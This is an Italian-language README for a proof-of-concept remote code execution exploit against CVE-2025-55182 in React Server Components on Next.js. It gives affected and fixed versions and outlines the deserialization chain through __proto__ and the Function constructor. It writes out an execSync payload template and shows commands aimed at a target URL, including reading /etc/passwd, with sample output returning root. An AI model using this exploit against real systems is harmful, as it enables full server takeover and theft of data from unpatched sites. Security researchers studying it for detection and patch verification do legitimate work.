
Proof-of-Concept RCE per CVE‑2025‑55182 che sfrutta il protocollo React Flight su Next.js App Router.
| Next.js | React |
|---|
| 14.3.0-canary.77 a 15.0.4 | 19.0.0 |
| 15.1.1-canary.0 a 15.1.8 | 19.1.0 |
| 15.2.0-canary.0 a 15.2.5 | 19.1.1 |
| 15.3.0-canary.0 a 15.3.5 | 19.2.0 |
| 15.4.0-canary.0 a 15.4.7 | |
| 15.5.1-canary.0 a 15.5.6 | |
| 16.0.0-canary.0 a 16.0.6 |
| Next.js |
|---|
| 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+ |
$@ per ottenere un riferimento grezzo a Chunk.then con Chunk.prototype.then tramite $1:__proto__:thenstatus su resolved_model per attivare initializeModelChunk$B1337 per attivare la deserializzazione di Blob_formData.get al costruttore Function_prefix contiene il codice JS da eseguireIl codice viene valutato tramite:
Function("throw new Error(require('child_process').execSync('COMANDO').toString());//1337")
pip install -r requirements.txt
python cve_2025_55182_poc.py https://target.com --check-only
# Comando predefinito (id)
python cve_2025_55182_poc.py https://target.com
# Comando personalizzato
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"
| Opzione | Descrizione |
|---|---|
url | URL del target (obbligatorio) |
-c, --command | Comando da eseguire (predefinito: id) |
--check-only | Solo verifica vulnerabilità |
-t, --timeout | Timeout in secondi (predefinito: 15) |
-v, --verbose | Output dettagliato |
--raw | Mostra risposta grezza |
cd vulnerable-app
npm install
npm run dev
# Server su http://localhost:3000
+======================================================================+
| CVE-2025-55182 - React Server Components RCE |
| Vulnerabilità di deserializzazione del React Flight Protocol |
+======================================================================+
[*] Versione interessata: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] Punteggio CVSS: 10.0 (CRITICO)
[*] Autore: rl0x01
[*] Target: http://localhost:3000
[*] Timeout: 15s
[1/2] Verifica vulnerabilità...
[+] VULNERABILE! RCE confermata - Output ricevuto
[2/2] Esecuzione comando: whoami
[+] Payload inviato!
============================================================
RISULTATO: whoami
============================================================
root
============================================================
CVE-2025-55182/
├── cve_2025_55182_poc.py # Script exploit principale
├── requirements.txt # Dipendenze Python
├── README.md # Documentazione
└── vulnerable-app/ # App Next.js vulnerabile per test
├── package.json
├── next.config.js
└── app/
├── layout.js
├── page.js
└── actions.js
⚠️ Questo strumento è fornito solo per scopi educativi e di test di sicurezza autorizzati.
L'utilizzo non autorizzato di questo strumento contro sistemi di cui non si possiede la proprietà o per i quali non si ha esplicita autorizzazione è illegale.